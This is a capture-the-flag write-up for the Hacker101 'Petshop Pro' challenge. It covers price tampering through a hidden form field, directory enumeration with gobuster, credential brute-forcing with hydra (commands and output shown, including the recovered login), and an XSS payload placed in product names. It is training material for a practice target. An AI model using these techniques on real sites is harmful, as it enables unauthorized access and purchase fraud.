Hacker101 CTF: Petshop Pro Writeup

Learn about getting stuff for cheap, enumeration, brute-forcing and XSS. Includes cute kitten pictures.

Flag 0 - Snooping Around

Home page: home page of petshop pro

Add to cart takes us to /add/0 or /add/1 for kitten/puppy respectively. /cart is another path. Source code for /checkout isn’t anything special: checkout page showing list of items in the cart.

In the source code of /cart I found:

		<form action="checkout" method="POST">
			<input type="hidden" name="cart" value="[[1, {&#34;logo&#34;: &#34;puppy.jpg&#34;, &#34;price&#34;: 7.95, &#34;name&#34;: &#34;Puppy&#34;, &#34;desc&#34;: &#34;8\&#34;x10\&#34; color glossy photograph of a puppy.&#34;}], [0, {&#34;logo&#34;: &#34;kitten.jpg&#34;, &#34;price&#34;: 8.95, &#34;name&#34;: &#34;Kitten&#34;, &#34;desc&#34;: &#34;8\&#34;x10\&#34; color glossy photograph of a kitten.&#34;}]]">
			<p><input type="submit" value="Check Out"></p>
		</form>

Using a beautifier online, we get: "[[1, {"logo": "puppy.jpg", "price": 7.95, "name": "Puppy", "desc": "8"x10" color glossy photograph of a puppy."}], [0, {"logo": "kitten.jpg", "price": 8.95, "name": "Kitten", "desc": "8"x10" color glossy photograph of a kitten."}]]"

Looks like we can specify the price here. *its free real estate*. Changing the price to 0, or reducing it gives as such: changing the price to 0

I first URL decoded, then changed its value and then encoded it again.

first flag found

Flag1 - Enumeration & Brute-forcing

Doing some enumeration:

┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x 'php,html,txt' -t 108 -q -u http://MACHINE_IP/some_hex_was_here/
/login                (Status: 200) [Size: 329]
/static               (Status: 301) [Size: 186] [--> http://127.0.0.1/static/]
/cart                 (Status: 200) [Size: 410]                               
/edit                 (Status: 400) [Size: 192]                               
/checkout             (Status: 405) [Size: 178]

The login page. login page for admins

Maybe SQLI? Tried using sqlmap, didn’t work.

POST /some_hex_was_here/login HTTP/1.1

...

username=admin&password=admin

Let’s use hydra to bruteforce. First let’s get the username right. Once we have that, we can go for password. I say this becuase of the error mesasge we see was telling us “Invalid username”.

┌──(kali㉿kali)-[~]
└─$ hydra -L /usr/share/wordlists/rockyou.txt -p "doesntmatter" MACHINE_IP http-post-form "/some_hex_was_here/login:username=^USER^&password=^PASS^:Invalid username" -t 32
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-07-19 05:55:40
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 32 tasks per 1 server, overall 32 tasks, 14344399 login tries (l:14344399/p:1), ~448263 tries per task
[DATA] attacking http-post-form://MACHINE_IP:80/some_hex_was_here/login:username=^USER^&password=^PASS^:Invalid username
[STATUS] 1234.00 tries/min, 1234 tries in 00:01h, 14343165 to do in 193:44h, 32 active
[STATUS] 1227.33 tries/min, 3682 tries in 00:03h, 14340717 to do in 194:45h, 32 active
[STATUS] 1234.29 tries/min, 8640 tries in 00:07h, 14335759 to do in 193:35h, 32 active
[80][http-post-form] host: MACHINE_IP   login: augusta   password: doesntmatter

Great! Username is augusta. Now for the password and its error message. Trying it out says “Invalid password”. Onto brute-forcing again!

┌──(kali㉿kali)-[~]
└─$ hydra -l augusta -P /usr/share/wordlists/rockyou.txt MACHINE_IP http-post-form "/some_hex_was_here/login:username=^USER^&password=^PASS^:Invalid password" -t 32
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-07-19 06:22:00
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 32 tasks per 1 server, overall 32 tasks, 14344399 login tries (l:1/p:14344399), ~448263 tries per task
[DATA] attacking http-post-form://MACHINE_IP:80/some_hex_was_here/login:username=^USER^&password=^PASS^:Invalid password
[STATUS] 1187.00 tries/min, 1187 tries in 00:01h, 14343212 to do in 201:24h, 32 active
[80][http-post-form] host: MACHINE_IP   login: augusta   password: eileen
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-07-19 06:24:17

Nice. On the homepage is the flag! If the syntax confuses you, here’s a quick summary:

  • -l flag to specify a username, -L for a list of usernames
  • similarly for -p and -P
  • http-post-form tells that there is a form being posted
  • the format is “path:user or pass combi:invalid error message”, colons spearate
  • -t is the number of threads

Flag2 - XSS

I tried editing the price and the details, and it looks like all the details get updated, even for the items in the cart. That sounds nice.

After a lot of searching around and hunting, I got to: XSS. Yes, XSS in the name and descriptions!

I used: <image src/onerror=prompt(8)> to attack.

editing name and descriptions for the kitten image product

The shopping cart then shows the flag! showing the flag in the shopping cart

Lessons Learnt

  • always get the products for cheaper if you can
  • SQLI is cool, but bruteforcing saves the day
  • XSS is everywhere YEE
Built with Hugo
Theme Stack designed by Jimmy